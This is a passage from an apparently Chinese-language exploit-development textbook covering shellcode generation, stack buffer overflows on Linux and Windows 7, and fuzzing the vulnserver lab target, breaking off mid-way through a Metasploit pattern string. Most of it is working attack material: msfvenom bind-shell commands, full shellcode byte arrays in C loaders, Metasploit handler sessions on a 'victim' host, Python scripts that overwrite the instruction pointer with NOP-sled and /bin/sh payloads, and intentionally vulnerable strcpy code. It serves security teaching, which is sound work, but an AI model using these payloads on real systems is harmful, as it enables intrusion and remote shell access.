让我们使用msfvenom --help-formats来查看输出格式:

让我们尝试在 Linux 上创建绑定 TCP shellcode:

$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f c

这里很简单:-a指定架构,然后我们指定平台为 Linux,然后选择我们的有效载荷为linux/x64/shell/bind_tcp,然后使用-b选项去除不良字符\x00,最后我们指定格式为 C。让我们执行一下看看:

现在,将那个 shellcode 复制到我们的 C 代码中:

#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";

int main()
{
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
}

然后,将其复制到我们的受害者机器上。现在,编译并运行它:

$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf

它正在等待连接。现在,让我们在攻击者机器上使用 Metasploit Framework 和msfconsole命令设置我们的监听器,然后选择处理程序:

use exploit/multi/handler

然后,我们使用这个命令选择我们的有效载荷:

set PAYLOAD linux/x64/shell/bind_tcp

现在,我们指定受害者机器的 IP:

set RHOST 192.168.238.128

然后,我们指定端口- Metasploit 的默认端口是4444

set LPORT 4444

现在,我们运行我们的处理程序:

exploit

上述命令的输出如下截图所示:

它说会话在session 1上是活动的。让我们使用session 1激活这个会话:

成功了!

总结

在本章中,我们学习了如何创建简单的 shellcode 以及如何去除不良字符。我们继续使用execve执行系统命令。然后,我们构建了高级的 shellcode,比如绑定 TCP shell 和反向 TCP shell。最后,我们看到了如何使用 Metasploit Framework 在一行中构建 shellcode 以及如何使用 Metasploit 设置监听器。

我们现在确切地知道如何构建有效载荷,所以我们将看看如何使用它们。在下一章中,我们将讨论缓冲区溢出攻击。

第六章:缓冲区溢出攻击

在本章中,我们将更深入地探讨缓冲区溢出攻击。我们将看到如何改变执行流程,并且看一些非常简单的方法来注入 shellcode。我们开始吧?

Linux 上的堆栈溢出

现在,我们即将学习什么是缓冲区溢出,并且我们将了解如何改变执行流程,使用一个有漏洞的源代码。

我们将使用以下代码:

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}
void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

好的,让我们稍微调整一下,做一些更有用的事情:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
   int local_variable = 1;
   copytobuffer(argv[1]);
   exit(0);
}

在这里,我们添加了一个新函数letsprint,其中包含printf,由于这个函数从未在main函数中被调用过,它将永远不会被执行。那么,如果我们使用这个缓冲区溢出来控制执行并改变流程来执行这个函数呢?

现在,让我们在我们的 Ubuntu 机器上编译并运行它:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer
$ ./buffer aaaa

前面命令的输出可以在以下截图中看到:

如你所见,什么都没有发生。让我们尝试造成溢出:

 $ ./buffer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

前面命令的输出可以在以下截图中看到:

好的,现在让我们试着在我们的 GDB 中获取那个错误:

$ gdb ./buffer

然后,让我们在main函数处设置一个断点,暂停执行在main函数处:

$ break main

现在,程序开始。它将在main函数处暂停。使用 24 个a字符作为输入继续:

$ run aaaaaaaaaaaaaaaaaaaaaaaa

然后,代码将在main处暂停:

按下CEnter键继续执行:

程序如预期地崩溃了,所以让我们尝试输入 26 个a字符:

$ run aaaaaaaaaaaaaaaaaaaaaaaaaa

你可以使用 Python 生成输入,而不是计算字符数:

#!/usr/bin/python

buffer = ''
buffer += 'a'*26
f = open("input.txt", "w")
f.write(buffer)

然后,给予它执行权限并执行它:

$ chmod +x exploit.py
$ ./exploit.py

在 GDB 中,运行以下命令:

$ run $(cat input.txt)

然后,代码将在main处暂停:

按下C然后Enter继续执行:

你注意到??()中的错误0x0000000000006161了吗?从前面的截图中,程序不知道0x0000000000006161在哪里,6161aa,这意味着我们能够向 RIP 寄存器注入 2 个字节,这就是我如何在 24 个字符后开始的。别担心,我们将在下一章中讨论这个问题。

让我们确认一下,使用 24 个a字符和 6 个b字符:

$ run aaaaaaaaaaaaaaaaaaaaaaaabbbbbb

我们也可以使用 Python:

#!/usr/bin/python

buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)

然后,执行利用以生成新的输入:

$ ./exploit

之后,在 GDB 中运行以下命令:

$ run $(cat input.txt)

然后,代码将触发断点:

按下C然后Enter继续:

现在,通过查看错误,我们看到我们注入的b字符在里面。在这一点上,我们做得很好。现在我们知道了我们的注入形式,让我们尝试使用disassemble命令执行letsprint函数:

$ disassemble letsprint

前面命令的输出可以在以下截图中看到:

我们得到了letsprint函数中的第一条指令,push rbp,地址为0x00000000004005e3,我们需要的是真实地址;我们也可以使用print命令来获取地址:

$ print letsprint

前面命令的输出可以在以下截图中看到:

现在我们有了地址,让我们尝试使用 Python 构建我们的利用,因为我们不能直接传递地址:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)

然后,我们执行它以生成新的输入:

$ ./exploit

现在,在 GDB 中,运行以下命令:

$ run $(cat input.txt)

然后,它将触发断点:

按下C然后Enter继续:

我们做到了!现在,让我们从我们的 shell 中确认,而不是从 GDB 中确认:

$ ./buffer $(cat input.txt)

前面命令的输出可以在以下截图中看到:

是的,我们改变了执行流程,执行了本不应该执行的东西!

让我们再试一个有趣的有效载荷。我们将使用我们的代码:

int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

但我们将在这里添加我们的execve系统调用来从上一章运行/bin/sh

unsigned char code[] =
 "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
 }

让我们把它们放在一起:

 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>

 void shell_pwn()
 {
    char code[] =
     "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
     \x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
 }
 int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

 void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

此外,这里shell_pwn永远不会被执行,因为我们从未在这里调用它,但现在我们知道如何做。首先,让我们编译它:

 $ gcc -fno-stack-protector -z execstack exec.c -o exec

然后,在 GDB 中打开我们的代码:

$ gdb ./exec

然后,在main函数处设置断点:

$ break main

好的,现在让我们准备我们的利用程序来确认 RIP 寄存器的确切位置:

#!/usr/bin/python

 buffer = ''
 buffer += 'a'*24
 buffer += 'b'*6
 f = open("input.txt", "w")
 f.write(buffer)

然后,执行我们的利用程序:

$ ./exploit.py

现在,从 GDB 中运行以下命令:

$ run $(cat input.txt)

然后,它将在main函数处触发断点:

C然后Enter继续:

是的,它在抱怨我们的 6 个b字符,0x0000626262626262,所以现在我们走上了正确的道路。现在,让我们找到我们 shellcode 的地址:

$ disassemble shell_pwn

上述命令的输出可以在以下屏幕截图中看到:

第一条指令的地址是0x000000000040060d。此外,我们可以使用print函数:

$ print shell_pwn

上述命令的输出可以在以下屏幕截图中看到:

完美!现在,让我们构建我们的最终利用:

#!/usr/bin/python
 from struct import *

 buffer = ''
 buffer += 'a'*24
 buffer += pack("<Q", 0x00000040060d)
 f = open("input.txt", "w")
 f.write(buffer)

然后,执行它:

$ ./exploit.py

然后,在 GDB 内部,运行以下命令:

$ run $(cat input.txt)

然后,代码将在main函数处暂停;按C继续:

现在我们有了一个 shell;让我们尝试使用$ cat /etc/issue来执行它:

让我们确认一下,使用我们的 bash shell 而不是 GDB:

$ ./exec $(cat input.txt)

上述命令的输出可以在以下屏幕截图中看到:

让我们尝试执行一些东西:

它奏效了!

Windows 上的堆栈溢出

现在,让我们尝试之前的易受攻击代码来利用 Windows 7 上的堆栈溢出。我们甚至不必在 Windows 上禁用任何安全机制,如地址空间布局随机化ASLR)或数据执行防护DEP);我们将在第十二章中讨论安全机制,检测和预防 - 我们开始吧?

让我们使用 Code::Blocks 尝试我们的易受攻击代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
     char buffer[15];
     strcpy (buffer,input);
     return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

简单地打开 Code::Blocks 并导航到文件|新建|空文件。

然后,编写我们的易受攻击代码。转到文件|保存文件,然后将其保存为buffer2.c

现在,让我们通过导航到构建|构建来构建我们的代码。

让我们尝试看看幕后发生了什么;以管理员身份打开 Immunity Debugger。

然后,转到文件|打开并选择buffer2。在这里,将我们的参数输入为aaaaaaaaaaaaaaaaaaaaaaaaaaabbbb(27 个a和 4 个b的字符);稍后我们将知道如何获得我们有效负载的长度:

现在,我们可以看到我们的四个窗口。运行程序一次。之后,我们就到了程序的入口点:

现在,再次运行程序并注意状态栏:

当执行62626262时,程序崩溃并给出访问冲突,这些是我们的字符b的 ASCII 码,最重要的是要注意寄存器(FPU)窗口:

指令指针指向b字符62626262,太完美了!

现在,让我们尝试定位我们的函数。从 Immunity Debugger 中,导航到调试|重新启动。

现在我们重新开始;运行程序一次,然后右键单击反汇编窗口,导航到搜索|所有引用的文本字符串:

在这里,我们正在搜索我们的字符串,它位于letsprint函数内部,Hey!! , you succeeded\n

将弹出一个新窗口:

第三个是我们的字符串,但由于exit(0)函数的存在,它是不可读的。您可以通过编译另一个版本并执行相同的步骤来确保,然后您将能够读取我们的字符串。

这里的地址不是固定的-您可能会得到不同的地址。

双击我们的字符串,然后 Immunity Debugger 会将您准确设置在地址0x00401367处的字符串上:

实际上,我们不需要我们的字符串,但我们需要定位letsprint函数。继续向上直到到达上一个函数的末尾(RETN指令)。然后,下一条指令将是letsprint函数的开始:

就是这样!地址0x0040135f应该是letsprint函数的开始。现在,让我们确认一下。打开 IDLE(Python GUI)并导航到文件|新建窗口:

在新窗口中,编写我们的利用程序:

#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x0040135f)
f = open("input.txt", "w")
f.write(buffer)

然后,将其保存为exploit.py

点击 IDLE 窗口上的运行,这将在当前工作目录中生成一个新文件input.txt

打开input.txt文件:

这是我们的有效载荷;复制输出文件的内容。然后,返回到 Immunity Debugger,通过导航到文件|打开,然后将有效载荷粘贴到参数中并选择buffer2

然后,启动 Immunity Debugger:

现在,运行程序;然后,它将暂停在程序的入口点:

现在,再次运行程序一次:

程序正常退出,退出代码为0。现在,让我们来看看 Immunity 的 CLI:

它奏效了!让我们来看看堆栈窗口:

请注意,a字符被注入到堆栈中,letsprint地址被正确注入。

现在,让我们尝试注入一个 shellcode,而不是使用letsprint函数,使用 Metasploit 生成 Windows 的 shellcode:

$ msfvenom -p windows/shell_bind_tcp -b'\x00\x0A\x0D' -f c

前面命令的输出可以在下面的截图中看到:

我们可以在使用之前测试这个 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

然后,构建并运行它:

现在,它正在等待我们的连接。从我们的攻击机器上,启动 Metasploit:

$ msfconsole

然后,选择处理程序以连接到受害者机器:

 $ use exploit/multi/handler

现在,选择我们的有效载荷,即windows/shell_bind_tcp

$ set payload windows/shell_bind_tcp

然后,设置受害者机器的 IP 地址:

现在,设置 rhost:

$ set rhost 192.168.129.128

然后,让我们开始:

$ run

前面命令的输出可以在下面的截图中看到:

现在,会话开始于session 1

$ session 1

前面命令的输出可以在下面的截图中看到:

我们现在在受害者机器内部。退出此会话,让我们回到我们的代码。因此,我们的最终代码应该是这样的:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int shell_pwn()
{
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

现在,构建它,并让我们在 Immunity Debugger 中运行它,以找到shell_pwn函数的地址。以管理员身份启动 Immunity Debugger,并选择我们带有任何参数的新代码:

然后,运行程序一次。现在,我们在程序的入口点:

右键单击主屏幕,导航到搜索|所有引用的文本字符串:

你看到Shellcode Length了吗?这是shell_pwn函数中的一个字符串;现在双击它:

程序将我们设置在Shellcode Length字符串的确切位置。现在,让我们向上移动,直到我们达到函数的起始地址:

就是在地址0x00401340。现在,让我们设置我们的利用代码:

#!/usr/bin/python
 from struct import *
 buffer = ''
 buffer += 'a'*27
 buffer += pack("<Q", 0x00401340)
 f = open("input.txt", "w")
 f.write(buffer)

现在,运行利用代码以更新input.txt;然后,打开input.txt

然后,复制其中的内容。返回到 Immunity Debugger,再次打开程序并粘贴有效载荷:

然后,再次运行程序两次。代码仍在运行:

还要注意状态栏:

我们的 shellcode 现在正在运行并等待我们的连接。让我们回到我们的攻击机器上,设置处理程序以连接到受害者机器:

$ msfconsole
$ use exploit/multi/handler
$ set payload windows/shell_bind_tcp
$ set rhost 192.168.129.128
$ run

前面命令的输出可以在下面的截图中看到:

连接已在session 2上建立:

 $ session 2

前面命令的输出可以在下面的截图中看到:

它奏效了!

总结

在这一点上,我们知道了如何在 Linux 和 Windows 上进行缓冲区溢出攻击。此外,我们知道如何利用堆栈溢出。

在下一章中,我们将讨论更多的技术,比如如何定位和控制指令指针,如何找到有效载荷的位置,以及更多关于缓冲区溢出攻击的技术。

第七章:利用开发-第 1 部分

利用开发,我们来了!现在我们开始真正的东西!在本章中,我们将学习如何处理利用模糊测试。我们还将学习利用开发中的技术,如控制指令指针以及如何找到放置我们的 shellcode 的位置。

以下是我们将在本章中涵盖的主题:

  • 模糊测试和控制指令指针

  • 注入 shellcode

  • 缓冲区溢出的完整示例

让我们开始吧!

模糊测试和控制指令指针

在上一章中,我们注入了字符,但我们需要知道指令指针的确切偏移量,即注入 24 个 As。找到 RIP 寄存器的确切偏移量的想法是注入一个特定序列长度的模式,并根据堆栈上的最后一个元素计算 RIP 寄存器的偏移量。别担心,你将在下一个例子中理解。那么我们如何确定 RIP 寄存器的确切偏移量呢?我们有两个工具可以做到这一点,Metasploit 框架和 PEDA,我们将讨论它们两个。

使用 Metasploit 框架和 PEDA

首先,我们将使用 Metasploit 框架创建模式,为此我们需要导航到此位置:/usr/share/metasploit-framework/tools/exploit/

现在,如何创建一个模式?我们可以使用pattern_create.rb来创建一个。

让我们举个例子,使用我们的易受攻击的代码,但使用一个更大的缓冲区,比如256

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

现在,让我们编译它:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer

然后我们将使用 GDB:

$ gdb ./buffer

接下来,我们计算 RIP 位置的偏移量。因此,首先让我们在攻击机上使用 Metasploit 框架创建一个模式,并在/usr/share/metasploit-framework/tools/exploit/中进行操作:

$ ./pattern_create.rb -l 300 > pattern

在上一个命令中,我们生成了一个长度为300的模式,并将其保存在名为pattern的文件中。现在将此文件复制到我们的受害机器上,并在 GDB 中使用此模式作为输入:

$ run $(cat pattern)

上述命令的输出可以在以下截图中看到:

代码停止了,如预期的那样,出现了错误。现在,我们需要提取堆栈中的最后一个元素,因为在那之后的元素应该溢出 RIP 寄存器。让我们看看如何使用x命令打印内存中的内容来获取堆栈中的最后一个元素。让我们看看x命令在 GDB 中的工作原理,使用help x

现在,让我们使用x打印堆栈中的最后一个元素:

$ x/x $rsp

上述命令的输出可以在以下截图中看到:

堆栈中的最后一个元素是0x41386941。您还可以使用x/wx $rsp来打印 RSP 寄存器内的完整字。现在我们需要在攻击机上使用pattern_offset.rb计算 RIP 寄存器的确切位置:

$ ./pattern_offset.rb -q 0x41386941 -l 300

首先,我们指定了我们从堆栈中提取的查询;然后我们指定了我们使用的模式的长度:

它告诉我们堆栈中的最后一个元素位于位置264,这意味着接下来的六个字符应该溢出 RIP 寄存器:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'A'*264
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

如果我们的计算是正确的,我们应该在 RIP 中看到 42。让我们运行这段代码:

$ chmod +x exploit.py
$ ./exploit.py

然后,在 GDB 中运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

我们的 42 现在在指令指针中,ASCII 中是bbbbbb

注入 shellcode

RIP 现在包含我们的 6 个 Bs(424242424242),代码已经不再抱怨0x0000424242424242在内存中的位置了。

到目前为止,我们已经成功地利用了我们的漏洞。这就是我们的有效载荷:

我们需要找到一种方法来注入 shellcode 到 As 中,这样我们就可以轻松地跳转到它。为此,我们需要首先注入0x90或 NOP 指令,即 NOP,只是为了确保我们的 shellcode 被正确注入。在注入我们的 shellcode 之后,我们将改变指令指针(RIP)到内存中包含 NOP 指令(0x90)的任何地址。

然后执行应该只是在所有 NOP 指令上传递,直到它碰到 Shellcode,然后开始执行它:

这就是我们的攻击应该是什么样子的。让我们尝试注入 execve /bin/sh shellcode(长度为 32)。现在我们需要在内存中找到包含 0x90 的任何地址:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += 'C'*32
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

让我们运行新的攻击:

$./exploit.py

然后,在 GDB 中,运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

程序停止了。现在,让我们查看堆栈以搜索我们的 NOP 滑块,通过从内存中打印 200 个十六进制值:

$ x/200x $rsp

上述命令的输出可以在以下截图中看到:

我们得到了它们!这些是我们注入的 NOP 指令。此外,在 NOP 之后,你可以看到 32 个 C(43),所以现在我们可以选择这些 NOP 指令中间的任何地址;让我们选择 0x7fffffffe2c0

这就是最终的有效载荷应该是什么样子的:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

让我们运行攻击:

$ ./exploit.py

然后,在 GDB 中,运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

现在我们在 GDB 中得到了 bash 提示符;让我们尝试执行类似 cat /etc/issue 的命令:

它给了我们 /etc/issue 的内容。

它成功了!

缓冲区溢出的完整示例

现在,让我们看一个完整的缓冲区溢出示例。我们需要下载并在 Windows 上运行 vulnserver。Vulnserver 是一个易受攻击的服务器,我们可以在其中练习利用开发技能。你可以在 github.com/stephenbradshaw/vulnserver 找到它。

下载后,使用 vulnserver.exe 运行它:

现在,它正在工作,并等待在端口 9999 上使用 netcat 进行连接。

Netcat 是一个用于与服务器建立连接或监听端口并等待来自另一个客户端的连接的工具。现在,让我们从攻击机器上使用 nc

$ nc 172.16.89.131 9999

上述命令的输出可以在以下截图中看到:

现在,让我们尝试模糊化一个参数,比如 TRUN(这是一个易受攻击的参数,在易受攻击的设计应用程序中)。我们需要建立一个脚本来帮助我们做到这一点:

#!/usr/bin/python
import socket

server = '172.16.89.131'    # IP address of the victim machine 
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*50 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

让我们尝试发送 50 个 A:

它没有崩溃。那么 5000 个 A 呢:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*5000 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

./fuzzing.py 命令的输出可以在以下截图中看到:

没有回复!让我们看看我们的 Windows 机器:

程序崩溃了,它抱怨内存位置 0x41414141,这是我们的 5000 个 A。在第二阶段,也就是控制 RIP,让我们创建一个长度为 5000 字节的模式。

从我们的攻击机器,导航到 /usr/share/metasploit-framework/tools/exploit/

./pattern_create.rb -l 5000

上述命令的输出可以在以下截图中看到:

将输出模式复制到我们的攻击中:

#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1B